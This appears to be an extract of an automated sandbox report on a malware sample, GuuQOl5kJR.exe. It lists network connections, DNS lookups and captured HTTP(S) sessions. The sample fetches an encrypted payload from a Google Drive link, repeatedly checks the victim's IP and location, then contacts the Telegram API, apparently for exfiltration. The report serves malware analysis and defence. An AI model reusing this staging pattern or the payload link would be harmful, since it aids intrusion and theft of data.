Mar 7, 2025 22:54:46.699882984 CET	80	49712	132.226.247.73	192.168.2.10
Mar 7, 2025 22:54:47.387867928 CET	80	49712	132.226.247.73	192.168.2.10
Mar 7, 2025 22:54:47.389518976 CET	49713	443	192.168.2.10	104.21.64.1
Mar 7, 2025 22:54:47.389569998 CET	443	49713	104.21.64.1	192.168.2.10
Mar 7, 2025 22:54:47.389659882 CET	49713	443	192.168.2.10	104.21.64.1
Mar 7, 2025 22:54:47.389905930 CET	49713	443	192.168.2.10	104.21.64.1
Mar 7, 2025 22:54:47.389918089 CET	443	49713	104.21.64.1	192.168.2.10
Mar 7, 2025 22:54:47.434642076 CET	49712	80	192.168.2.10	132.226.247.73
Mar 7, 2025 22:54:49.302115917 CET	443	49713	104.21.64.1	192.168.2.10
Mar 7, 2025 22:54:49.304023981 CET	49713	443	192.168.2.10	104.21.64.1
Mar 7, 2025 22:54:49.304049969 CET	443	49713	104.21.64.1	192.168.2.10
Mar 7, 2025 22:54:49.880583048 CET	443	49713	104.21.64.1	192.168.2.10
Mar 7, 2025 22:54:49.880662918 CET	443	49713	104.21.64.1	192.168.2.10
Mar 7, 2025 22:54:49.880769968 CET	49713	443	192.168.2.10	104.21.64.1
Mar 7, 2025 22:54:49.884264946 CET	49713	443	192.168.2.10	104.21.64.1
Mar 7, 2025 22:54:49.921574116 CET	49712	80	192.168.2.10	132.226.247.73
Mar 7, 2025 22:54:49.928518057 CET	80	49712	132.226.247.73	192.168.2.10
Mar 7, 2025 22:54:49.928630114 CET	49712	80	192.168.2.10	132.226.247.73
Mar 7, 2025 22:54:49.932053089 CET	49714	443	192.168.2.10	149.154.167.220
Mar 7, 2025 22:54:49.932109118 CET	443	49714	149.154.167.220	192.168.2.10
Mar 7, 2025 22:54:49.932178020 CET	49714	443	192.168.2.10	149.154.167.220
Mar 7, 2025 22:54:49.932789087 CET	49714	443	192.168.2.10	149.154.167.220
Mar 7, 2025 22:54:49.932805061 CET	443	49714	149.154.167.220	192.168.2.10
Mar 7, 2025 22:54:51.927416086 CET	443	49714	149.154.167.220	192.168.2.10
Mar 7, 2025 22:54:51.927608013 CET	49714	443	192.168.2.10	149.154.167.220
Mar 7, 2025 22:54:51.929534912 CET	49714	443	192.168.2.10	149.154.167.220
Mar 7, 2025 22:54:51.929554939 CET	443	49714	149.154.167.220	192.168.2.10
Mar 7, 2025 22:54:51.929842949 CET	443	49714	149.154.167.220	192.168.2.10
Mar 7, 2025 22:54:51.931174994 CET	49714	443	192.168.2.10	149.154.167.220
Mar 7, 2025 22:54:51.976327896 CET	443	49714	149.154.167.220	192.168.2.10
Mar 7, 2025 22:54:52.636588097 CET	443	49714	149.154.167.220	192.168.2.10
Mar 7, 2025 22:54:52.636760950 CET	443	49714	149.154.167.220	192.168.2.10
Mar 7, 2025 22:54:52.636821985 CET	49714	443	192.168.2.10	149.154.167.220
Mar 7, 2025 22:54:52.662000895 CET	49714	443	192.168.2.10	149.154.167.220
Mar 7, 2025 22:54:53.204184055 CET	49700	80	192.168.2.10	132.226.247.73

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 7, 2025 22:53:27.585444927 CET	64780	53	192.168.2.10	1.1.1.1
Mar 7, 2025 22:53:27.592674971 CET	53	64780	1.1.1.1	192.168.2.10
Mar 7, 2025 22:54:12.058690071 CET	65419	53	192.168.2.10	1.1.1.1
Mar 7, 2025 22:54:12.066545010 CET	53	65419	1.1.1.1	192.168.2.10
Mar 7, 2025 22:54:20.660521030 CET	51423	53	192.168.2.10	1.1.1.1
Mar 7, 2025 22:54:20.668327093 CET	53	51423	1.1.1.1	192.168.2.10
Mar 7, 2025 22:54:21.851159096 CET	50033	53	192.168.2.10	1.1.1.1
Mar 7, 2025 22:54:21.859347105 CET	53	50033	1.1.1.1	192.168.2.10
Mar 7, 2025 22:54:49.922245979 CET	59225	53	192.168.2.10	1.1.1.1
Mar 7, 2025 22:54:49.931148052 CET	53	59225	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 7, 2025 22:53:27.585444927 CET	192.168.2.10	1.1.1.1	0xef46	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:12.058690071 CET	192.168.2.10	1.1.1.1	0xd686	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:20.660521030 CET	192.168.2.10	1.1.1.1	0x2d14	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:21.851159096 CET	192.168.2.10	1.1.1.1	0x832e	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:49.922245979 CET	192.168.2.10	1.1.1.1	0xb68c	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 7, 2025 22:53:27.592674971 CET	1.1.1.1	192.168.2.10	0xef46	No error (0)	drive.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:12.066545010 CET	1.1.1.1	192.168.2.10	0xd686	No error (0)	drive.usercontent.google.com		172.217.18.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:20.668327093 CET	1.1.1.1	192.168.2.10	0x2d14	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 7, 2025 22:54:20.668327093 CET	1.1.1.1	192.168.2.10	0x2d14	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:20.668327093 CET	1.1.1.1	192.168.2.10	0x2d14	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:20.668327093 CET	1.1.1.1	192.168.2.10	0x2d14	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:20.668327093 CET	1.1.1.1	192.168.2.10	0x2d14	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:20.668327093 CET	1.1.1.1	192.168.2.10	0x2d14	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:21.859347105 CET	1.1.1.1	192.168.2.10	0x832e	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:21.859347105 CET	1.1.1.1	192.168.2.10	0x832e	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:21.859347105 CET	1.1.1.1	192.168.2.10	0x832e	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:21.859347105 CET	1.1.1.1	192.168.2.10	0x832e	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:21.859347105 CET	1.1.1.1	192.168.2.10	0x832e	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:21.859347105 CET	1.1.1.1	192.168.2.10	0x832e	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:21.859347105 CET	1.1.1.1	192.168.2.10	0x832e	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 22:54:49.931148052 CET	1.1.1.1	192.168.2.10	0xb68c	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49697	132.226.247.73	80	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 22:54:20.677784920 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 7, 2025 22:54:21.369240999 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:21 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Mar 7, 2025 22:54:21.374114037 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 7, 2025 22:54:21.583997011 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:21 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Mar 7, 2025 22:54:24.392674923 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 7, 2025 22:54:24.602843046 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49700	132.226.247.73	80	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 22:54:27.077951908 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 7, 2025 22:54:27.777817965 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49702	132.226.247.73	80	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 22:54:30.259624004 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 7, 2025 22:54:30.947696924 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49704	132.226.247.73	80	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 22:54:33.565422058 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 7, 2025 22:54:34.259581089 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49706	132.226.247.73	80	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 22:54:36.988189936 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 7, 2025 22:54:37.669050932 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49708	132.226.247.73	80	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 22:54:40.270659924 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 7, 2025 22:54:40.962618113 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49710	132.226.247.73	80	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 22:54:43.507565022 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 7, 2025 22:54:44.207166910 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:44 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49712	132.226.247.73	80	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 22:54:46.694801092 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 7, 2025 22:54:47.387867928 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:47 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49695	142.250.181.238	443	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:54:11 UTC	216	OUT	GET /uc?export=download&id=1_MAOalbsF9ynDQ5rY66GdFW-JuvfEIhB HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache
2025-03-07 21:54:12 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 07 Mar 2025 21:54:11 GMT Location: https://drive.usercontent.google.com/download?id=1_MAOalbsF9ynDQ5rY66GdFW-JuvfEIhB&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-uZDASsbD8qfsLWbnHiqcng' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49696	172.217.18.1	443	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:54:14 UTC	258	OUT	GET /download?id=1_MAOalbsF9ynDQ5rY66GdFW-JuvfEIhB&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-03-07 21:54:17 UTC	5009	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AKDAyIv2ijyPKBwOovVOZ5HIHOIROVfqiNfEGB0GOqd1trKARa5hXDm9FTIysZMkFXFUgjpK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="sryrEhK15.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 246336 Last-Modified: Mon, 10 Feb 2025 07:13:41 GMT Date: Fri, 07 Mar 2025 21:54:16 GMT Expires: Fri, 07 Mar 2025 21:54:16 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=9RlKMg== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-07 21:54:17 UTC	5009	IN	Data Raw: cd 37 8d e2 ca 61 bf 1b 81 38 e6 b3 d8 e4 ba 19 92 fd fa 83 62 15 b6 c0 3a ee 91 80 7f db 13 95 9f c6 37 6a 9e 48 fa 3d a7 55 32 80 d1 ba 92 e9 f1 bb da 8e 8e aa f7 5f cd 84 a3 5d b3 ef 69 1e e1 21 87 c3 9c ea e6 71 28 0e f0 28 df 23 27 3e ec 06 80 1d 52 fc e3 e5 b0 71 de 7b 2c 8b d9 51 97 8f 92 21 30 f3 3e f7 48 41 35 3d 35 e8 cd dd a4 cd 3d d6 d2 62 dd ce 88 fd 1a 43 f9 07 ca 25 d6 c4 6f fe 46 46 b0 e2 fe f6 2c e9 45 e1 06 7e 22 df da af e4 32 96 1b 47 f3 b9 55 80 22 cd 19 cf 28 96 8b 0d 9b 65 41 e6 15 61 6c 4c 28 1f 5e 14 09 59 2b 6f fa 72 a7 44 23 bb f7 46 9c 8d f9 6f 06 db eb 79 e9 e5 9f 07 44 c0 96 a4 76 7c 3d be 18 7d 18 bf a0 19 b9 47 db d6 c1 e4 c3 0d 46 f0 05 16 51 dd 64 0c 36 12 4b 1f de a7 57 c5 70 01 b5 6f 76 6c a5 df ee fe 1b c2 33 5f 3a 56 Data Ascii: 7a8b:7jH=U2_]i!q((#'>Rq{,Q!0>HA5=5=bC%oFF,E~"2GU"(eAalL(^Y+orD#FoyDv\|=}GFQd6KWpovl3_:V
2025-03-07 21:54:17 UTC	4678	IN	Data Raw: f2 c3 d4 d3 b4 1f 33 4c 7f a5 68 d0 03 2a 1b ce ff 5b b8 93 45 ea 8c f4 a9 59 66 1d f0 20 2c 21 a6 54 44 69 a7 3f 85 ad da 44 f8 97 a9 8e 0a 4a 33 f7 d9 26 66 d7 55 68 0e 62 e6 0f a6 2f 91 6f f3 5e 65 b7 8e 84 90 7e e5 32 cb ca b5 e0 b5 d7 96 28 9b b2 df 2e 90 21 95 71 0e 63 09 04 6d b1 a0 85 d2 bd 1b 8e 6b 29 e1 08 ac 38 e2 22 77 49 40 12 58 99 c0 c0 91 78 da 10 86 19 92 e7 da 8a 76 ea 8a fb b2 c9 f1 51 3a 43 3b 98 b7 c2 92 e1 bb ee a2 88 8a 9a 16 89 53 45 67 6d bd bc 09 1d b3 8c da 5c 06 96 40 82 3c 88 8a 9f 9e 81 74 7c 55 b8 88 5a e9 87 ec 10 a4 03 d3 dc e5 a2 7c c2 55 b7 29 cd f2 7d f7 32 63 fa 5c 88 26 5b be c7 50 38 90 9f 4d f6 f4 55 dd d0 2c 8c 40 20 d6 59 c8 aa e2 a6 a5 1b c3 98 c6 e1 76 43 0f f0 28 2a dc fb 38 7e 06 80 1d 53 c8 e3 e5 f2 71 87 7b Data Ascii: 3Lh[EYf ,!TDi?DJ3&fUhb/o^e~2(.!qcmk)8"wI@XxvQ:C;SEgm\@<t\|UZ\|U)}2c\&[P8MU,@ YvC(8~Sq{
2025-03-07 21:54:17 UTC	1378	IN	Data Raw: 6d 42 67 3f e3 a4 11 84 2e 14 d7 8c 5f 05 c7 dc c5 a1 37 0b e5 cb 13 80 4b f4 05 79 12 c8 7e a3 62 45 a1 a7 f7 3c 7e 97 40 52 61 48 c9 59 eb 97 c6 55 93 82 63 dd d4 91 f6 69 6b da 5c 73 ab 30 a6 de c5 bd 09 0e 1b 4a d0 81 3d 86 e8 97 6b 27 7f bc 74 50 b2 68 68 ea ac 1e 9d 47 b7 b2 5c 30 aa f8 3d 7a 0d 51 f8 7f 9c 98 ff 09 bf 57 a2 d8 e1 69 69 eb 20 53 f2 1a 7b 9f c5 83 6d f3 a9 42 a9 1a c5 75 d3 d9 8c 4b e2 7d 72 cd 95 1e 8b bc 74 4a ce e8 ba cc 54 88 f3 de f6 9d ea 68 a8 00 e0 90 64 1e 2f 31 fe 68 bf cb d5 2d 92 d3 58 61 56 6a 75 cb 05 a8 af 15 bc 06 eb 3f d2 78 e1 16 63 e0 d8 06 b5 3d a4 ff e7 3c 15 c4 5b d1 2c eb 99 f0 57 a8 41 8c de 53 eb 87 b0 6d e4 0c ef a5 d3 c1 3b a4 38 4b 5a a7 b3 db 26 ff 69 e2 5f 5d 82 e4 15 68 60 32 f6 b7 9f 1b b4 ca b4 47 59 Data Ascii: mBg?._7Ky~bE<~@RaHYUcik\s0J=k'tPhhG\0=zQWii S{mBuK}rtJThd/1h-XaVju?xc=<[,WASm;8KZ&i_]h`2GY
